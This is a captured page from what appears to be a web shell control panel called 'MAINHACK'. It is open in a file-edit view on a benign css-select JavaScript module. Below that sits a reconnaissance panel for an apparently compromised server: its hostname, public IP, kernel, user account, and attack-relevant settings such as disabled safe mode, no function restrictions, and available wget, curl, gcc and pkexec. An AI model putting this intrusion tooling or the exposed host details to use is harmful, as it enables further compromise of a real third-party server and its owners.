[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: index.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.compilePseudoSelector = exports.aliases = exports.pseudos = exports.filters = void 0; /* * Pseudo selectors * * Pseudo selectors are available in three forms: * * 1. Filters are called when the selector is compiled and return a function * that has to return either false, or the results of `next()`. * 2. Pseudos are called on execution. They have to return a boolean. * 3. Subselects work like filters, but have an embedded selector that will be run separately. * * Filters are great if you want to do some pre-processing, or change the call order * of `next()` and your code. * Pseudos should be used to implement simple checks. */ var boolbase_1 = require("boolbase"); var css_what_1 = require("css-what"); var filters_1 = require("./filters"); Object.defineProperty(exports, "filters", { enumerable: true, get: function () { return filters_1.filters; } }); var pseudos_1 = require("./pseudos"); Object.defineProperty(exports, "pseudos", { enumerable: true, get: function () { return pseudos_1.pseudos; } }); var aliases_1 = require("./aliases"); Object.defineProperty(exports, "aliases", { enumerable: true, get: function () { return aliases_1.aliases; } }); var subselects_1 = require("./subselects"); function compilePseudoSelector(next, selector, options, context, compileToken) { var name = selector.name, data = selector.data; if (Array.isArray(data)) { return subselects_1.subselects[name](next, data, options, context, compileToken); } if (name in aliases_1.aliases) { if (data != null) { throw new Error("Pseudo ".concat(name, " doesn't have any arguments")); } // The alias has to be parsed here, to make sure options are respected. var alias = (0, css_what_1.parse)(aliases_1.aliases[name], options); return subselects_1.subselects.is(next, alias, options, context, compileToken); } if (name in filters_1.filters) { return filters_1.filters[name](next, data, options, context); } if (name in pseudos_1.pseudos) { var pseudo_1 = pseudos_1.pseudos[name]; (0, pseudos_1.verifyPseudoArgs)(pseudo_1, name, data); return pseudo_1 === boolbase_1.falseFunc ? boolbase_1.falseFunc : next === boolbase_1.trueFunc ? function (elem) { return pseudo_1(elem, options, data); } : function (elem) { return pseudo_1(elem, options, data) && next(elem); }; } throw new Error("unmatched pseudo-class :".concat(name)); } exports.compilePseudoSelector = compilePseudoSelector;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002